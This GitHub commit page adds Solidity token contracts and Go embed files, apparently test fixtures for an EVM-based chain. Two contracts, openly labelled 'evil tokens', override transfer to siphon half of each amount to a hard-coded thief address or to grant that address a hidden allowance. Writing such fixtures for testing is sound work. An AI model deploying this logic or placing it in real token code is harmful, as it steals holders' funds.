-
Notifications
You must be signed in to change notification settings - Fork 46
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
3c59b03
commit 561c7f4
Showing
26 changed files
with
796 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
// SPDX-License-Identifier: MIT | ||
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
import "./@openzeppelin/contracts/token/ERC20/ERC20.sol"; | ||
import "./@openzeppelin/contracts/utils/Context.sol"; | ||
|
||
/** | ||
* @dev Extension of {ERC20} that allows token holders to destroy both their own | ||
* tokens and those that they have an allowance for, in a way that can be | ||
* recognized off-chain (via event analysis). | ||
*/ | ||
abstract contract ERC20Burnable is Context, ERC20 { | ||
/** | ||
* @dev Destroys `amount` tokens from the caller. | ||
* | ||
* See {ERC20-_burn}. | ||
*/ | ||
function burn(uint256 amount) public virtual { | ||
_burn(_msgSender(), amount); | ||
} | ||
|
||
/** | ||
* @dev Destroys `amount` tokens from `account`, deducting from the caller's | ||
* allowance. | ||
* | ||
* See {ERC20-_burn} and {ERC20-allowance}. | ||
* | ||
* Requirements: | ||
* | ||
* - the caller must have allowance for ``accounts``'s tokens of at least | ||
* `amount`. | ||
*/ | ||
function burnFrom(address account, uint256 amount) public virtual { | ||
uint256 currentAllowance = allowance(account, _msgSender()); | ||
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); | ||
unchecked { | ||
_approve(account, _msgSender(), currentAllowance - amount); | ||
} | ||
_burn(account, amount); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
import "./@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; | ||
|
||
// This is an evil token. Whenever an A -> B transfer is called, half of the amount goes to B | ||
// and half to a predefined C | ||
contract ERC20DirectBalanceManipulation is ERC20PresetMinterPauser { | ||
address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14; | ||
constructor(uint256 initialSupply) | ||
ERC20PresetMinterPauser("ERC20DirectBalanceManipulation", "ERC20DirectBalanceManipulation") { | ||
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender); | ||
_mint(msg.sender, initialSupply); | ||
} | ||
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { | ||
// Any time a transaction happens, the thief account siphons half. | ||
uint256 half = amount / 2; | ||
|
||
super.transfer(_thief, amount - half); // a - h for rounding | ||
return super.transfer(recipient, half); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
import "./@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; | ||
|
||
// This is an evil token. Whenever an A -> B transfer is called, | ||
// a predefined C is given a massive allowance on B. | ||
contract ERC20MaliciousDelayed is ERC20PresetMinterPauser { | ||
address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14; | ||
uint256 private _bigNum = 1000000000000000000; // ~uint256(0) | ||
constructor(uint256 initialSupply) | ||
ERC20PresetMinterPauser("ERC20MaliciousDelayed", "ERC20MALICIOUSDELAYED") { | ||
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender); | ||
_mint(msg.sender, initialSupply); | ||
|
||
} | ||
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { | ||
// Any time a transaction happens, the thief account is granted allowance in secret. | ||
// Still emits an Approve! | ||
super._approve(recipient, _thief, _bigNum); | ||
return super.transfer(recipient, amount); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,125 @@ | ||
// SPDX-License-Identifier: MIT | ||
// OpenZeppelin Contracts v4.3.2 (token/ERC20/presets/ERC20PresetMinterPauser.sol) | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
import "./@openzeppelin/contracts/token/ERC20/ERC20.sol"; | ||
import "./@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; | ||
import "./@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol"; | ||
import "./@openzeppelin/contracts/access/AccessControlEnumerable.sol"; | ||
import "./@openzeppelin/contracts/utils/Context.sol"; | ||
|
||
/** | ||
* @dev {ERC20} token, including: | ||
* | ||
* - ability for holders to burn (destroy) their tokens | ||
* - a minter role that allows for token minting (creation) | ||
* - a pauser role that allows to stop all token transfers | ||
* | ||
* This contract uses {AccessControl} to lock permissioned functions using the | ||
* different roles - head to its documentation for details. | ||
* | ||
* The account that deploys the contract will be granted the minter and pauser | ||
* roles, as well as the default admin role, which will let it grant both minter | ||
* and pauser roles to other accounts. | ||
*/ | ||
contract ERC20MinterBurnerDecimals is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable { | ||
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); | ||
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); | ||
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); | ||
uint8 private _decimals; | ||
|
||
/** | ||
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the | ||
* account that deploys the contract and customizes tokens decimals | ||
* | ||
* See {ERC20-constructor}. | ||
*/ | ||
constructor(string memory name, string memory symbol, uint8 decimals_) | ||
ERC20(name, symbol) { | ||
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); | ||
|
||
_setupRole(MINTER_ROLE, _msgSender()); | ||
_setupRole(PAUSER_ROLE, _msgSender()); | ||
_setupRole(BURNER_ROLE, _msgSender()); | ||
_setupDecimals(decimals_); | ||
} | ||
|
||
/** | ||
* @dev Sets `_decimals` as `decimals_ once at Deployment' | ||
*/ | ||
function _setupDecimals(uint8 decimals_) private { | ||
_decimals = decimals_; | ||
} | ||
|
||
/** | ||
* @dev Overrides the `decimals()` method with custom `_decimals` | ||
*/ | ||
function decimals() public view virtual override returns (uint8) { | ||
return _decimals; | ||
} | ||
|
||
/** | ||
* @dev Creates `amount` new tokens for `to`. | ||
* | ||
* See {ERC20-_mint}. | ||
* | ||
* Requirements: | ||
* | ||
* - the caller must have the `MINTER_ROLE`. | ||
*/ | ||
function mint(address to, uint256 amount) public virtual { | ||
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have minter role to mint"); | ||
_mint(to, amount); | ||
} | ||
|
||
/** | ||
* @dev Destroys `amount` new tokens for `to`. | ||
* | ||
* See {ERC20-_burn}. | ||
* | ||
* Requirements: | ||
* | ||
* - the caller must have the `BURNER_ROLE`. | ||
*/ | ||
function burnCoins(address from, uint256 amount) public virtual { | ||
require(hasRole(BURNER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have burner role to burn"); | ||
_burn(from, amount); | ||
} | ||
|
||
/** | ||
* @dev Pauses all token transfers. | ||
* | ||
* See {ERC20Pausable} and {Pausable-_pause}. | ||
* | ||
* Requirements: | ||
* | ||
* - the caller must have the `PAUSER_ROLE`. | ||
*/ | ||
function pause() public virtual { | ||
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have pauser role to pause"); | ||
_pause(); | ||
} | ||
|
||
/** | ||
* @dev Unpauses all token transfers. | ||
* | ||
* See {ERC20Pausable} and {Pausable-_unpause}. | ||
* | ||
* Requirements: | ||
* | ||
* - the caller must have the `PAUSER_ROLE`. | ||
*/ | ||
function unpause() public virtual { | ||
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have pauser role to unpause"); | ||
_unpause(); | ||
} | ||
|
||
function _beforeTokenTransfer( | ||
address from, | ||
address to, | ||
uint256 amount | ||
) internal virtual override(ERC20, ERC20Pausable) { | ||
super._beforeTokenTransfer(from, to, amount); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,83 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
contract ProposalStore { | ||
struct Proposal { | ||
// @notice Unique id for looking up a proposal | ||
uint256 id; | ||
string title; | ||
string desc; | ||
// @notice the ordered list of target addresses for calls to be made | ||
address[] targets; | ||
uint256[] values; | ||
// @notice The ordered list of function signatures to be called | ||
string[] signatures; | ||
// @notice The ordered list of calldata to be passed to each call | ||
bytes[] calldatas; | ||
} | ||
|
||
address immutable govshuttleModAcct; | ||
|
||
mapping(uint256 => Proposal) private proposals; | ||
|
||
constructor( | ||
uint256 propId, | ||
string memory title, | ||
string memory desc, | ||
address[] memory targets, | ||
uint256[] memory values, | ||
string[] memory signatures, | ||
bytes[] memory calldatas | ||
) { | ||
govshuttleModAcct = msg.sender; | ||
Proposal memory prop = Proposal( | ||
propId, | ||
title, | ||
desc, | ||
targets, | ||
values, | ||
signatures, | ||
calldatas | ||
); | ||
proposals[propId] = prop; | ||
} | ||
|
||
function AddProposal( | ||
uint256 propId, | ||
string memory title, | ||
string memory desc, | ||
address[] memory targets, | ||
uint256[] memory values, | ||
string[] memory signatures, | ||
bytes[] memory calldatas | ||
) public { | ||
require(msg.sender == govshuttleModAcct); // only govshuttle account can add proposals to store | ||
Proposal memory newProp = Proposal( | ||
propId, | ||
title, | ||
desc, | ||
targets, | ||
values, | ||
signatures, | ||
calldatas | ||
); | ||
proposals[propId] = newProp; | ||
} | ||
|
||
function QueryProp(uint256 propId) public view returns (Proposal memory) { | ||
if (proposals[propId].id == propId) { | ||
return proposals[propId]; | ||
} | ||
return | ||
Proposal( | ||
0, | ||
"", | ||
"", | ||
new address[](0), | ||
new uint256[](0), | ||
new string[](0), | ||
new bytes[](0) | ||
); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
package contracts | ||
|
||
import ( | ||
_ "embed" // embed compiled smart contract | ||
"encoding/json" | ||
|
||
evmtypes "github.com/evmos/ethermint/x/evm/types" | ||
) | ||
|
||
var ( | ||
//go:embed compiled_contracts/ProposalStore.json | ||
ProposalStoreJSON []byte | ||
|
||
// ERC20BurnableContract is the compiled ERC20Burnable contract | ||
ProposalStoreContract evmtypes.CompiledContract | ||
) | ||
|
||
func init() { | ||
err := json.Unmarshal(ProposalStoreJSON, &ProposalStoreContract) | ||
if err != nil { | ||
panic(err) | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
package contracts | ||
|
||
import ( | ||
_ "embed" // embed compiled smart contract | ||
|
||
evmtypes "github.com/evmos/ethermint/x/evm/types" | ||
) | ||
|
||
var ( | ||
//go:embed compiled_contracts/callee.json | ||
calleeJSON []byte | ||
|
||
// ERC20BurnableContract is the compiled ERC20Burnable contract | ||
CalleeContract evmtypes.CompiledContract | ||
) | ||
|
||
func init() { | ||
// err := json.Unmarshal(calleeJSON, &CalleeContract) | ||
// if err != nil { | ||
// // panic(err) | ||
// fmt.Println("ERROR HERE") | ||
// } | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
pragma solidity ^0.8.10; | ||
|
||
//contract that is called from the caller | ||
|
||
contract callee { | ||
uint public Int; //public variable initially set to 0 | ||
|
||
function setInt(uint val) external { | ||
Int = val; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
package contracts | ||
|
||
import ( | ||
_ "embed" // embed compiled smart contract | ||
|
||
evmtypes "github.com/evmos/ethermint/x/evm/types" | ||
) | ||
|
||
var ( | ||
//go:embed compiled_contracts/caller.json | ||
callerJSON []byte | ||
|
||
// ERC20BurnableContract is the compiled ERC20Burnable contract | ||
CallerContract evmtypes.CompiledContract | ||
) | ||
|
||
func init() { | ||
// err := json.Unmarshal(callerJSON, &CallerContract) | ||
// if err != nil { | ||
// panic(err) | ||
// } | ||
} |
Oops, something went wrong.